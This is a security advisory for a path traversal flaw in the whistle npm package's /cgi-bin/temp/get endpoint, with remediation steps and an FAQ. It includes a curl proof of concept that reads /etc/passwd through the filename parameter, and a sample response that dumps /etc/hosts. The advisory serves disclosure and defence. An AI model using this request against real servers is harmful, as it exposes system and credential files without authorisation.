GHSA-3vfr-4gwf-qxfp: Path Traversal
This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.
Vulnerability detail:
In service.js, inside app.get('/cgi-bin/temp/get', ...): var filename = req.query.filename; if (TEMPFILERE.test(filename)) { filename = path.join(TEMPFILESPATH, filename); } getFile(filename, ...);
Only when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMPFILESPATH.
If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.
In other words: if you pass passwd, it will read passwd.
POC: curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd"
response:
sh xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts" {"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1 localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1 proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}%
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/whistleto a version that resolves this vulnerability.Fixed in 2.10.3 - Compensating control
Block or restrict access to the vulnerable endpoint path `/cgi-bin/temp/get` (running on port `8899`) using network controls (e.g., firewall/ACL) so only trusted clients can reach it.
Event History
Frequently Asked Questions
What access does an attacker need to exploit this issue?
An attacker needs the ability to send an HTTP request to Whistle's /cgi-bin/temp/get endpoint. The provided proof of concept targets a service listening on localhost, but the data does not establish what network exposure or authentication settings apply in other deployments.
What files could be exposed?
The endpoint can pass a user-supplied filename directly to the file-reading function when it does not match the expected temp/<hash> pattern. The proof of concept demonstrates reading /etc/passwd and /etc/hosts, so readable files accessible to the service process may be exposed.
How can I check whether an instance is vulnerable?
Review the handler for /cgi-bin/temp/get in service.js. An affected implementation reads req.query.filename directly when TEMP_FILE_RE.test(filename) is false, rather than rejecting the request or constraining it to TEMP_FILES_PATH.
What should be done if patching cannot happen immediately?
Restrict access to the /cgi-bin/temp/get endpoint to trusted users and networks, or disable access to the service where feasible. This reduces the ability of an attacker to submit arbitrary filename values.